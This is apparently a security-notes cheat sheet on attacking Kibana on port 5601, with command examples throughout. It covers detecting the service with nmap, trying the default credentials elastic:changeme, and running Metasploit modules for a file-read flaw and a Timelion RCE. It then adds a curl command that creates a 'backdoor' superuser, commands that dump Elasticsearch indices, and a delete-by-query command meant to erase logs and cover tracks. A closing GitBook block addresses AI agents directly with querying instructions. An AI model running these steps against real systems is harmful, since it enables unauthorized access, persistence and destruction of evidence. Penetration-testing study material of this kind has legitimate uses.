> For the complete documentation index, see [llms.txt](https://ahmed-tarek.gitbook.io/security-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ahmed-tarek.gitbook.io/security-notes/notes/attack-vectors-by-port/kibana.md). # Kibana **`Default Port: 5601`** **Kibana** is an open-source data visualization and exploration tool used for log and time-series analytics. It provides powerful and beautiful dashboards for real-time visualization of data in Elasticsearch. ### Connect #### Accessing Kibana To interact with Kibana, you will typically use a web browser to connect to its web interface. The default port for Kibana is 5601. ``` http://:5601 ``` ### Recon #### Detecting Kibana Service Nmap can be used to detect whether the Kibana service is running on a target machine. ``` nmap -p5601 ``` Additionally, you can use a service detection script for more detailed information. ``` nmap --script http-kibana-detect -p 5601 ``` ### Enumeration #### Enumerating Kibana Version Knowing the version of Kibana running on the target can help identify known vulnerabilities specific to that version. You can usually find the version information on the login page or the about page. ### Attack Vectors #### Default Credentials Often, Kibana installations may have default credentials that haven’t been changed. Attempt to log in using: * Username: elastic * Password: changeme ``` curl -XPOST -u elastic:changeme http://:5601/api/security/v1/login ``` #### Kibana File Read Vulnerability (CVE-2019-7609) This exploit allows an attacker to read arbitrary files on the Kibana server. Metasploit has a module for this exploit: ``` msfconsole use exploit/linux/http/kibana_lfr set RHOST set RPORT 5601 exploit ``` #### Remote Code Execution via Kibana Timelion (CVE-2018-17246) This utilized a vulnerability in the Timelion feature to achieve RCE. ``` msfconsole use exploit/multi/http/kibana_timelion_rce set RHOST set RPORT 5601 exploit ``` ### Post-Exploitation #### Maintaing Access Create an administrative backdoor account if you have gathered credentials or achieved code execution. ``` curl -XPOST -u : http://:5601/api/security/v1/users -H 'Content-Type: application/json' -d '{ "username" : "backdoor", "password" : "password", "roles" : [ "superuser" ] }' ``` #### Dumping Data Based on what Elasticsearch is logging, you can extract a lot from Kibana. ``` curl -XGET 'http://:9200/_cat/indices?v&pretty' curl -XGET 'http://:9200//_search?pretty' ``` #### Cleaning Logs If you have write permissions, you can manipulate or delete logs to cover your tracks. ``` curl -X POST "http://:9200//_delete_by_query" -H 'Content-Type: application/json' -d' { "query": { "match": { "message": "suspicious activity message" } } }' `` ```
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ahmed-tarek.gitbook.io/security-notes/notes/attack-vectors-by-port/kibana.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.